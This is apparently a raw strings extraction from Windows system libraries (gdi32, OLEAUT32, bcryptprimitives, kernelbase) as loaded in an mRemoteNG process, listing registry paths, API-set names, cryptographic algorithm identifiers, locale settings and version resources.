]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] ]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]] TH SarabunPSK Tahoma Bold Tahoma Microsoft Sans Serif xGDIObjectLeak GDIProcessHandleQuota Software\Microsoft\Windows NT\CurrentVersion\Windows 0.0.0.0 AppName %u.%u %hu.%hu.%hu.%hu AppStamp AppVersion StackHash GDIObjectType gSoftware\Microsoft\Windows NT\CurrentVersion \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize FileDescription ||||||||||||||||||||| 4433 99999 B>BBBBBBBBBB BBBBBBBBBBBBB BBBBB BBBBBBBBBB FFFFFFFFFFFFFFFFF 21212122121212 .................................. #$%&&&$$$$ '$($$)*++, $$$+ DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD KKKK \system \fonts .FOT \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control\MiniNT Software\Microsoft\Windows NT\CurrentVersion\Type 1 Installer\Type 1 Fonts fontsub.dll opengl32.dll std::exception: %hs winspool.drv Local\SM0:%lu:%lu:%hs GSESC OCR-A \RPC Control\UmpdProxy %s_%x_%x_%x_%x Disable SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\DataStore_V1.0 DataFilePath SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback SIAMSPL SIAMDB SIAMMAIN ~ Italic Bold Italic Bold SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink ()<>[]{} @[`{~ Arabic UDF FONT%d MAPS FONTS MAP%d !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>??@@ O[[\\]]^^__ z{{||}}~~ !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>??@@AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ[[\\]]^^__``aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~ !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>??@@AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ[[\\]]^^__``aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~ !!"" '(())**++ ,--..// ,^[[\\]] !!"" '(())**++ ,--..//,^ LNQTWXYZ`bdfhijnr _uxz|~ KMORUXYZ`acegijko _svy{} KMORUXYZ`acegijlp _twy{} LNPSVXYZ`bdfhijmq _uxz|~ {B{B{D{D{F{F{H{H PTX`degikptx~ MQUYaegikmquy NRVZbfhjlnrvz OSW\cfhjlosw| cJjNj IVIZIbMVMZMb dMr" Marlett jjjjj jjjjj jjjjjj 89:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_ `abcdefghijklmnopqrstuvwxyz{|}~ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ SIAMDB SIAMMAIN SIAMSPL VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription GDI Client DLL FileVersion 10.0.26100.7824 (WinBuild.160101.0800) InternalName gdi32 LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename gdi32 ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7824 VarFileInfo Translation TypeLib Software\Microsoft\OleAut #TRUE# #FALSE# b{00020420-0000-0000-C000-000000000046} {00020424-0000-0000-C000-000000000046} Interface\ \ProxyStubClsid32 TypeLib\ \Forward \TypeLib win32 Version kernel32.dll api-ms-win-core-synch-l1-2-0.dll kernel32.dll lext-ms-win-ole32-oleautomation-l1-1-0 ext-ms-win-sxs-oleautomation-l1-1-0 Software\Classes win64 win16 HELPDIR FLAGS %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll stdole32 stdole2 .tlb SOFTWARE\Microsoft\OLEAUT RegisterNetDriveAsMapped Local\SM0:%lu:%lu:%hs MS-GENPROJ_TYPEBIND MS-DYN_TYPEBIND M/PM ext-ms-win-ole32-oleautomation-l1-1-0.dll CLSID grudnia listopada dziernika wrze sierpnia lipca czerwca maja kwietnia marca lutego stycznia Software\classes TypeLib TYPELIB Interface typelib ProxyStubClsid ProxyStubClsid32 {00020430-0000-0000-C000-000000000046} mpr.dll MS-DEFN_TYPEBIND MS-TYPEBIND stdole2.tlb Both wx{t cdf` YZ\V 014. :;>8 AAAAAAAAAA {00020420-0000-0000-C000-000000000046} {00020424-0000-0000-C000-000000000046} C:\WINDOWS\system32\ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription OLEAUT32.DLL FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName OLEAUT32.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename OLEAUT32.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 0c0904E4 CompanyName Microsoft Corporation FileDescription OLEAUT32.DLL FileVersion 10.0.10011.16384 InternalName OLEAUT32.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename OLEAUT32.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.10011.16384 VarFileInfo Translation en-US SP800_108_CTR_HMAC PBKDF2 CAPI_KDF TLS1_2_KDF TLS1_1_KDF SHA256 HKDF SP800_56A_CONCAT EffectiveKeyLength SYSTEM\CurrentControlSet\Control\Cryptography\ECCParameters AlgorithmName HashDigestLength ObjectLength HashOIDList MultiObjectLength HashBlockLength ECCParameters PUBLICBLOB PRIVATEBLOB ECCPUBLICBLOB KeyLengths KeyLength ECCCurveName KeyStrength ECCPRIVATEBLOB ECCFULLPUBLICBLOB ECCFULLPRIVATEBLOB ChainingMode PublicKeyLength MessageBlockLength PaddingSchemes RSAFULLPRIVATEBLOB KeyDataBlob IsKeyedHash cIsReusableHash OpaqueKeyBlob 9\Device\CNG ECDH ECDH_P256 ECDH_P384 ECDH_P521 SHA1 ECDSA SHA512 SHA384 SHA3-512 SHA3-384 SHA3-256 ECDSA_P521 ECDSA_P384 ECDSA_P256 KMAC256 KMAC128 AES-CMAC CSHAKE256 CSHAKE128 ML-DSA ML-KEM RSA_SIGN KEMSharedSecretLength KEMCiphertextLength ParameterSetName FunctionNameString CustomizationString Rfc3565KeyWrapBlob PKCS11RsaAesWrapBlob BlockLength DeprecatedDoNotUse3555 Microsoft Primitive Provider DHPUBLICBLOB DHPRIVATEBLOB SignatureLength HkdfHashAlgorithm HkdfSaltAndFinalize HkdfPrkAndFinalize RSAPUBLICBLOB RSAPRIVATEBLOB %%%%%d nistP521 nistP384 nistP256 HMAC HASH TLS_PRF TRUNCATE SHAKE256 SHAKE128 AES-GMAC 3DES DESX 3DES_112 CHACHA20_POLY1305 1024 MLKEMPRIVATESEEDBLOB MLKEMPUBLICBLOB MLKEMPRIVATEBLOB XTS-AES ChainingModeN/A ChainingModeCBC ChainingModeECB ChainingModeCFB ChainingModeCCM ChainingModeGCM PQDSAPUBLICBLOB PQDSAPRIVATEBLOB PQDSAPRIVATESEEDBLOB brainpoolP160r1 brainpoolP160t1 brainpoolP192r1 brainpoolP192t1 brainpoolP224r1 brainpoolP224t1 brainpoolP256r1 brainpoolP256t1 brainpoolP320r1 brainpoolP320t1 brainpoolP384r1 brainpoolP384t1 brainpoolP512r1 brainpoolP512t1 curve25519 ec192wapi nistP192 nistP224 numsP256t1 numsP384t1 numsP512t1 secP160k1 secP160r1 secP160r2 secP192k1 secP192r1 secP224k1 secP224r1 secP256k1 secP256r1 secP384r1 secP521r1 wtls7 wtls9 wtls12 x962P192v1 x962P192v2 x962P192v3 x962P239v1 x962P239v2 x962P239v3 x962P256v1 0 SHA256 NULL System\CurrentControlset\Control\Lsa LsaPid FIPS186DSARNG DUALECRNG BlockSizeList AuthTagLength DHParameters SecretAgreementParam DhQParameter PrivKeyVal DSAParameters DSAPRIVATEBLOB DSAPUBLICBLOB Parameters ECCCurveNameList IsIfxTpmWeakKey VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Windows Cryptographic Primitives Library FileVersion 10.0.26100.7623 (WinBuild.160101.0800) InternalName bcryptprimitives.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename bcryptprimitives.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation \RPC Control \Sessions %ws\%ld\BaseNamedObjects %ws\%ld\AppContainerNamedObjects \Registry\Machine\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings StringCacheGeneration file e\\?\Volume \\?\ \Registry\Machine\System\CurrentControlSet\Control \Nls\Sorting\Versions _Classes \Registry\User \Registry\Machine\Software\Classes ntdll.dll \Packages\ PackageRepositoryRoot Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository\Packages .xn-- .Xbox.SystemUpdate_cw5n1h2txyewy Microsoft.MoCamera_cw5n1h2txyewy windows.devicesflow_cw5n1h2txyewy Windows.MiracastView_cw5n1h2txyewy Windows.PrintDialog3D_cw5n1h2txyewy SonicWALL.MobileConnect_cw5n1h2txyewy Windows.DockingController_cw5n1h2txyewy Xbox.NetworkTroubleshooter_cw5n1h2txyewy Xbox.DisplayTroubleshooter_cw5n1h2txyewy windows.immersivecontrolpanel_cw5n1h2txyewy JuniperNetworks.JunosPulseVpn_cw5n1h2txyewy OOBEApp_cw5n1h2txyewy Xbox.Oobe_cw5n1h2txyewy DefaultApp_cw5n1h2txyewy SettingsApp_cw5n1h2txyewy FileManager_cw5n1h2txyewy BrowserChoice_cw5n1h2txyewy f5.vpn.client_cw5n1h2txyewy Windows.MtcUvc_cw5n1h2txyewy CheckPoint.VPN_cw5n1h2txyewy Xbox.KinectTuner_cw5n1h2txyewy Software\Microsoft\Windows NT\CurrentVersion\ProfileList Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders \%s.pckgdep %USERPROFILE% Local AppData ProfileImagePath WIN://SYSAPPID WIN://PKG AllowDevelopmentWithoutDevLicense \Registry\Machine\SOFTWARE\Policies\Microsoft\Windows\Appx \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock AppxPolicies AppModelUnlock Bcrypt.dll HashDigestLength pSHA256 ObjectLength 3\Connect dde. hotkey. TargetNtPath neutral %ws%wc%ws%ws \Device\NamedPipe\ !x-sys-default-locale \KernelObjects\LowMemoryCondition lext-ms-win-advapi32-registry-l1-1-0 ext-ms-win-advapi32-registry-l1-1-1 ext-ms-win-kernel32-appcompat-l1-1-0 ext-ms-win-ntuser-string-l1-1-0 ext-ms-win-kernel32-file-l1-1-0 ext-ms-win-kernel32-datetime-l1-1-0 lext-ms-win-kernel32-quirks-l1-1-0 ext-ms-win-kernel32-quirks-l1-1-1 ext-ms-win-kernel32-sidebyside-l1-1-0 ext-ms-win-mrmcorer-resmanager-l1-1-0 lext-ms-win-gpapi-grouppolicy-l1-1-0 ext-ms-win-ntdsapi-activedirectoryclient-l1-1-0 ext-ms-win-ntdsapi-activedirectoryclient-l1-1-1 ext-ms-win-shell32-shellcom-l1-1-0 ext-ms-win-advapi32-ntmarta-l1-1-0 lext-ms-win-feclient-encryptedfile-l1-1-0 ext-ms-win-feclient-encryptedfile-l1-1-1 ext-ms-win-feclient-encryptedfile-l1-1-2 ext-ms-win-feclient-encryptedfile-l1-1-3 ext-ms-win-security-efswrt-l1-1-0 ext-ms-win-security-efswrt-l1-1-1 ext-ms-win-security-efswrt-l1-1-2 ext-ms-win-security-efswrt-l1-1-3 ext-ms-win-security-efswrt-l1-1-4 lext-ms-win-winrt-storage-win32broker-l1-1-0 NTDLL.DLL ext-ms-win-appmodel-daxcore-l1-1-0 ext-ms-win-appmodel-daxcore-l1-1-1 ext-ms-win-appmodel-daxcore-l1-1-2 ext-ms-win-appmodel-daxcore-l1-1-3 ext-ms-win-kernel32-errorhandling-l1-1-0 ext-ms-win-kernel32-registry-l1-1-0 ext-ms-win-kernelbase-processthread-l1-1-0 ext-ms-win-kernelbase-processthread-l1-1-1 ext-ms-win-kernelbase-processthread-l1-1-2 ext-ms-win-kernelbase-processthread-l1-1-3 ext-ms-win-kernelbase-processthread-l1-2-0 ext-ms-win-appxdeploymentclient-appxdeploy-l1-1-0 ext-ms-win-appxdeploymentclient-appxdeploy-l1-1-1 ext-ms-onecore-appmodel-staterepository-internal-l1-1-0 ext-ms-onecore-appmodel-staterepository-internal-l1-1-1 ext-ms-onecore-appmodel-staterepository-internal-l1-1-2 ext-ms-onecore-appmodel-staterepository-internal-l1-1-3 ext-ms-onecore-appmodel-staterepository-internal-l1-1-4 ext-ms-onecore-appmodel-staterepository-internal-l1-1-5 ext-ms-onecore-appmodel-staterepository-internal-l1-1-6 ext-ms-onecore-appmodel-staterepository-internal-l1-1-7 ext-ms-win-appxdeploymentclient-appxdeployonecore-l1-1-0 ext-ms-win-appxdeploymentclient-appxdeployonecore-l1-1-1 ext-ms-win-cng-rng-l1-1-0 ext-ms-win-cng-rng-l1-1-1 ext-ms-win-winrt-device-access-l1-1-0 ext-ms-win-appmodel-appexecutionalias-l1-1-0 ext-ms-win-appmodel-appexecutionalias-l1-1-1 ext-ms-win-appmodel-appexecutionalias-l1-1-2 ext-ms-win-appmodel-appexecutionalias-l1-1-3 ext-ms-win-appmodel-appexecutionalias-l1-1-4 ext-ms-win-appmodel-appexecutionalias-l1-1-5 ~RF%4x.TMP \??\UNC\ \REGISTRY\MACHINE\OSDATA\Session Manager \Registry\Machine\System\CurrentControlSet\Control\Session Manager PendingFileRenameOperations PendingFileRenameOperations%d System\CurrentControlSet\Control\StateSeparation\PairedValueReflection\Keys\ AcceptLanguage \UNC\ \\?\UNC\ ::$DATA shell32.dll localhost //// file:// http:// %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll api-ms-win-core-winrt-error-l1-1-1.dll Local\SM0:%lu:%lu:%hs \Nls\CustomLocale \Nls\ExtendedLocale -001 Control Panel\International\User Profile .nlp .nlx \Registry\Machine\ AllowDeprecatedCP Control Panel\International Locale k0-Windows-US M/d/y y/M/d d/M/y dddd, MMMM dd dflt Calendar iCalendarType sLanguage iCountry sList iMeasure iPaperSize sDecimal sThousand sGrouping iDigits iLZero iNegNumber sNativeDigits NumShape Currencies sCurrency iCurrDigits iCurrency iNegCurr sMonDecimalSep sMonThousandSep sMonGrouping sPositiveSign sNegativeSign sShortTime sTimeFormat iTime iTLZero iTimePrefix sTime s1159 s2359 sShortDate iDate sDate sYearMonth sLongDate iFirstDayOfWeek iFirstWeekOfYear PreventUserOverrides sCountry Software\Policies\Microsoft\Control Panel\International\Calendars\TwoDigitYearMax Control Panel\International\Calendars\TwoDigitYearMax Short Date Long Date Control Panel\International\Calendars es-ES 00000c00 MACCP #IMMUTABLE %s\%s\%s Software\Classes\Local Settings\ImmutableMuiCache Strings Software\Classes\Local Settings\MuiCache LocaleName \Nls\Calendars\Japanese\Eras InitialEraYear \Nls\Calendars\Japanese Control Panel\International\Geo Nation Name PreventGeoIdChange Region NtfsDisable8dot3NameCreation \Registry\Machine\System\CurrentControlSet\Control\FileSystem \Registry\Machine\System\CurrentControlSet\Policies FileSystem ?\UNC \Registry\Machine\System\CurrentControlSet\Control\CommonGlobUserSettings\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\International RedirectedKey GlobalizationUserSettings \Registry\User\ \roaming.lock AcquireStateLock uCreateStateContainer CreateStateSubcontainer uReadStateContainerValue EnumerateStateContainerItems PreRegisterPackageFullNameFromAppxManifest OtrHResult OtrWhenAttempted OtrExtendedError OtrTipCaller PreRegisterExtendedError AppxDeploymentClient.dll ProgIDs pPath Executable windows.fileTypeAssociation windows.protocol windows.appUriHandler User\Data UserSid Package PackageExternalLocation\Data PackageExternalLocation\Index\UserAndPackage (WIN://SYSAPPID Contains " PackageFamily\Data PackageSID PackageFamilyName Publisher S-1-5-19 S-1-5-18 S-1-5-20 pwahelper.exe msedge.exe %hu.%hu.%hu.%hu OID.2.25.311729368913984317654407730594956997722=1 OID.0.9.2342.19200300.100.1.1 cutionAlias \SystemUWPLauncher.exe SYSTEM\CurrentControlSet\Control\CI\Developer\DeveloperUnlock OSBOOT\SYSTEM\CurrentControlSet\Control\CI\Developer\DeveloperUnlock AllowAllTrustedApps SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock NULL OSDATA\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection AllowTelemetry policymanager.dll System LimitEnhancedDiagnosticDataWindowsAnalytics aConfigureTelemetryOptInSettingsUx DisableTelemetryOptInSettingsUx ConfigureTelemetryOptInChangeNotification DisableTelemetryOptInChangeNotification AllowCommercialDataPipeline LimitDumpCollection DisableDeviceDelete DisableDiagnosticDataViewer AllowDeviceNameInDiagnosticData DisableOneSettingsDownloads LimitDiagnosticLogCollection DisableEnterpriseAuthProxy EnableOneSettingsAuditing Software\Policies\Microsoft\Windows\DataCollection AllowTelemetry_PolicyManager Reserved.PlatformSigned \Users CodeIntegrity.Telemetry OptInLevel Debugger PEB_SIGNATURE ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_ ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_. ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!"#$%&'()*+,-./:;<=>?@{}|~[]\^_` %s\system32\%s HEAP_SIGNATURE \Reference http://schemas.microsoft.com/SMI/2024/WindowsSettings consoleAllocationPolicy --inheritcursor \\?\%s\system32\conhost.exe --headless %s--width %hu --height %hu --signal 0x%x --server 0x%x hSOFTWARE\Microsoft\Windows NT\CurrentVersion SYSTEM\Software\Microsoft\TIP TipRootKey TestResults hMicrosoft.Windows.Health.TestInProduction Microsoft.Windows.Health.TestInProduction.RegistryStore.AggregateResults AggregateResults data hLocal\TIP:%d: FC:marker:%d BootCFG SYSTEM\Software\Microsoft\FT\ D:(A;;0x00100000;;;WD) Global\%s .tmp \SystemTemp\ \\.\PhysicalDrive0 \system32\ \BaseNamedObjects %ws\%ws Global \\.\MountPointManager \Device\MUP DBWIN_BUFFER MUI_Dlt MUI_Std RPC Control %ws\%ld\BaseNamedObjects\%ws\Global Session Manager\NamespaceSeparation %u-%u-%u-%u \Device\NamedPipe%ws AppExecutionAliasRedirectPackages :\Users\ AppExecutionAliasRedirect .bat .cmd ComSpec SystemRoot LoadCHPEBinaries supportedArchitectures PackagedDataInfo: \system32\cmd.exe \Registry\Machine\System\CurrentControlSet\Control\ComputerName\ComputerName Hostname \Registry\Machine\System\CurrentControlSet\Services\Tcpip\Parameters DnscacheTcpipParameters \Registry\Machine\System\CurrentControlSet\Services\CCG ComputerName \Registry\Machine\System\CurrentControlSet\Control\ComputerName\ActiveComputerName \Registry\Machine\System\Setup SystemSetupInProgress "/\[]:|<>+=;,? PrimaryDnsSuffix \Registry\Machine\Software\Policies\Microsoft\System\DNSClient Domain OOBEInProgress netmsg.dll mferror.dll System\CurrentControlSet\Policies System\CurrentControlSet\Control\FileSystem FsEnableDevDrive \Registry\MACHINE\System\CurrentControlSet\Control\SMBIOS IgnoreLogicalMemoryDevices BACKUP FIND GMEM LMEM BASEDLL! \Windows %ws\%ld%ws \SystemRoot\ Network ComputerName NV Hostname NV Domain DNSAPI.DLL \Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib Unknown Software\Microsoft\Windows\CurrentVersion\Appx lpt9 lpt8 lpt7 lpt6 lpt5 lpt4 lpt3 lpt2 lpt1 com9 com8 com7 com6 com5 com4 com3 com2 com1 xn-- nul. aux. prn. con. nntp http news wais lpt9. lpt8. lpt7. lpt6. lpt5. lpt4. lpt3. lpt2. lpt1. com9. com8. com7. com6. com5. com4. com3. com2. com1. shell https local snews about telnet mailto search gopher AppxRoot vbscript search-ms javascript knownfolder ms-shell-idlist ms-shell-rooted Win32AppCompat RegCloseKeyMainSwitch GetFileVersionInfoSwitch SwitchedGetFileVersionInfo_Win8 SwitchedGetFileVersionInfo_Current SwitchedGetFileVersionInfo_WinBLUE SwitchedRegCloseKeyRaiseUMException_Current SwitchedRegCloseKeyNoRaiseUMException_WinBLUE Allows getting the 6.2 version only from GetFileVersionInfo Allows getting the 6.3 version only from GetFileVersionInfo Enables the possibility of UserMode exception on invalid reg handle Routine for current OS that gets the correct version from GetFileVersionInfo Disables the UserMode exception on invalid reg handle unless there is debugger Controls raising a usermode exception on invalid reg handle close based on dynamic process context Return patched version from GetFileVersionInfo when called on an OS binary that matches the build version :$DATA SysWOW64 .html .htm .xml .doc .xls .ppt .rtf .dot .xlw .pps .xlt .hta .pot .pdf .xps .xbap .xlsx .pptx .docx home 0123456789ABCDEF mosaic Gregorian Japanese Taiwan Korean Hijri Thai Hebrew Persian UmAlQura \SysWOW64 \system32 \SysArm32 \LocalState \RoamingState LocalState \TempState RoamingState \LocalCache TempState LocalCache Microsoft.WindowsCamera_8wekyb3d8bbwe Microsoft.GetHelp_8wekyb3d8bbwe ;x86 arm64 Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PackageRepository AppModelPackageRepository Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Repository AppxMiniRepository TelemetryPermission-DefaultLevel \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\AutoExclusionList \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected\AutoExclusionList \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AeDebugProtected DebuggerProtectionLevel LaunchNonProtected Auto ProtectedDebugger 0123456789ABCDEF SystemTemp LPGO \Registry\Machine\System\CurrentControlSet\Control\FileSystem\ LongPathsEnabled DataDrive OSDataDrive .DLL Local Session \\?\UNC InteractiveUserSeparation AppcontainerUserSeparation amd64 \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Memory Management HotPatchRestrictions \Registry\Machine\Software\Microsoft\Wow64\x86\xtajit _CLUSTER_NETWORK_DOMAIN_ _CLUSTER_NETWORK_FQDN_ EDJComputerNameNB EDJComputerNameDNS _CLUSTER_NETWORK_NAME_ _CLUSTER_NETWORK_HOSTNAME_ EDJComputerDomainDNS GetOverlappedResultSwitch Perform fixed up behavior for GetOverlappedResult for Win7 and beyond. CreateFileDowngradeSwitch Allow denial of exclusive open of a file when caller does not have write privilege. CreateFileDowngrade_Win7 Allow flag to be passed with CreateFile call that indicates to perform downgrade if applicable. GetOverlappedResult_Win7 Allow race condition fix in GetOverlappedResult GetOverlappedResult_Vista Routine for downlevel that does nothing. Allows getting the 6.2 version only GetVersion_WinBLUE Routine for current OS that gets the correct version. GetVersion_Current CreateFileDowngrade_Vista GetVersionSwitch Return 6.2 as the version from GetVersion. GetVersion_Win8 Return 6.3 as the version from GetVersionExW. GetVersionExW_Current CloseHandleMainSwitch Controls raising a usermode exception on invalid handle close based on dynamic process context GetVersionExWSwitch Return 6.2 as the version from GetVersionExW. GetVersionExW_Win8 GetVersionExW_WinBLUE SwitchedCloseHandleNoRaiseUMException_WinBLUE Disables the UserMode exception on invalid handle unless there is debugger SwitchedCloseHandleRaiseUMException_Current Enables the possibility of UserMode exception on invalid handle \REGISTRY\USER \REGISTRY\MACHINE \REGISTRY\MACHINE\SYSTEM\CURRENTCONTROLSET\HARDWARE PROFILES\CURRENT \Registry\Machine\SOFTWARE\Microsoft\AppModel\Lookaside\machine \Registry\Machine\SOFTWARE\Microsoft\AppModel\Lookaside\user \software\ \VarFileInfo\Translation \Registry\Machine\Software\Policies\Microsoft\Windows\System CopyFileAllowDecryptedRemoteDestination CopyFileBufferedSynchronousIo CopyFileChunkSize CopyFileOverlappedCount SMBCACopyFileChunkSize SMBCACopyFileOverlappedCount \PendingRenameMutex UNC\ {00000000-0000-0000-0000-000000000000} TRUE FALSE :443 :/// http https URL Protocol Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap IEharden tTransientLangId x-none \Nls\Codepage Software\Policies\Microsoft\Control Panel\International 0123456789 Unknown Locale Unknown Language Unknown Region Adlm Arab Armi Avst Cprt Egyd Egyh Hebr Ital Khar Linb Lydi Mand Merc Mero Mong Nkoo Orkh Phag Phli Phlp Phlv Phnx Prti Samr Sarb Syrc Syre Syrj Syrn Thaa dMyg' hHmst' Control Panel\International\ zh-TW winnlsres.dll \Nls\Locale \Nls\Locale\Alternate Sorts 65001 65000 %04d-%02d-%02d %02d:%02d:%02d \Globalization\ en-US kernel32.dll OptionValue \Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option iCalendarType iCountry s2359 sNativeDigits sTimeFormat sMonDecimalSep iFirstDayOfWeek sMonThousandSep sCurrency Calendar sYearMonth sDecimal sMonGrouping s1159 iPaperSize NumShape Currencies iCurrency sList sLongDate sPositiveSign iNegNumber iNegCurr Gregorian Long Date LocaleName sGrouping sShortTime sShortDate iDigits iMeasure iLZero Short Date sNegativeSign iCurrDigits iFirstWeekOfYear sThousand %APPDATA% %ALLUSERSPROFILE% %SystemRoot% %ProgramFiles% \\%COMPUTERNAME% %SystemDrive% .exe SIGN.IE=%X%X %s SIGN.MEDIA=%X %s \Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders Classes\ \Registry\Machine\Software Software\Classes\ "\REGISTRY\MACHINE\SOFTWARE\CLASSES jjjj jjj jjjj "0#P# &/'@'^'p' !"#%$&'()*+,-./0123546789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ mRemoteNG.exe en-CH 0123456789 HH:mm:ss HH:mm dd.MM.yyyy MMMM yyyy dddd, d MMMM yyyy file:///C:/Program%20Files%20(x86)/mRemoteNG/ bjectListView.EXE SYSTEM\Software\Microsoft\TIP\TestResults (((B(T(d(n(x( erType prfc Last Help _V2Providers Last Counter Wmsiltcfg.dll TransparentEnabled \CodeIdentifiers CodeIdentifiers\ \Registry\Machine\Software\Policies\Microsoft\Windows\Safer \Software\Policies\Microsoft\Windows\Safer \Paths \Hashes \UrlZones SaferFlags DefaultLevel LevelObjects LSARPC_ENDPOINT ncalrpc WindowsShutdown System\CurrentControlSet\Control\IDConfigDB %s\%04u FriendlyName DockingState CurrentConfig HwProfileGuid CurrentDockInfo Hardware Profiles WinSta0 user32.dll Disable Performance Counters SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib %08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X \WmiGuid\ \\.\WMIDataDevice _Classes \Registry\User \Registry\Machine\Software\Classes System\CurrentControlSet\Control\LSA\AccessProviders MartaExtension ProviderOrder RequireUniqueAccessibility MSV1_0:Interactive SvcCtl Windows NT Network Provider ProviderPath ext-ms-win-advapi32-registry-l1-1-0 ext-ms-win-advapi32-registry ncacn_np Rp$ Software\Microsoft\RemoteRegistryClient SecureModePolicy TransportFallbackPolicy HOST/ ncacn_ip_tcp \svchost.exe -s usosvc.dll qmgr.dll dosvc.dll wuaueng.dll NO_ACCESS_CONTROL @DEVICE. @USER. @TOKEN. %I64o %I64x %I64u SID(%ls) %ls, (%ls%ls) (%ls %ls) (%ls %ls %ls) Security eventlog \pipe\eventlog %TEMP%\Perflib_Perfdata_ Updating Error Count Limit First Counter Configuration Flags Successful File Date Library Validation Code Collect Supports Metadata Keep Library Resident Collect Timeout Open Timeout Export \Linkage Object List Query Collect Close Open Library _Total D:(A;;GA;;;BA)(A;;GA;;;SY) LoadPerf Installing Costly Global MetadataCostly MetadataGlobal OLD_ AddExplain AddCounter Help Explain Counter Foreigh t_Perf_Library_Lock_PID_ perfTMP.dat %.*ls\%ls Event Mutant Thread Process RPCSS \Device\LanmanRedirector NOT_TCPIP NOT_CONNECTED SHARED Levels LogFileName \SystemRoot\system32 \Registry\Machine\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \Registry\MACHINE\System\CurrentControlSet\Control\SafeBoot\Option OptionValue \Registry\Machine\System\CurrentControlSet\Control\Srp\GP\ RuleCount SHA256 Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers \??\ \Device\ \??\X: Exists Not_Exists Contains Not_Contains Any_of Not_Any_of Member_of Not_Member_of Device_Member_of Not_Device_Member_of Member_of_any Not_Member_of_any Device_Member_of_any Not_Device_Member_of_any 01234567.dat \REGISTRY\MACHINE \REGISTRY\USER DockState feclient.dll samlib.dll shell32.dll WPackageCode Software\Microsoft\Windows\CurrentVersion\Group Policy\Appmgmt AppState Deployment Name GPO Name Product ID SupportUrl Software\Microsoft\Windows NT\CurrentVersion\Diagnostics RunDiagnosticLoggingApplicationManagement AppMgmtDebugLevel AppMgmtDebugBreak %SystemRoot%\Debug\UserMode\appmgmt.bak APPMGMT (%x.%x) 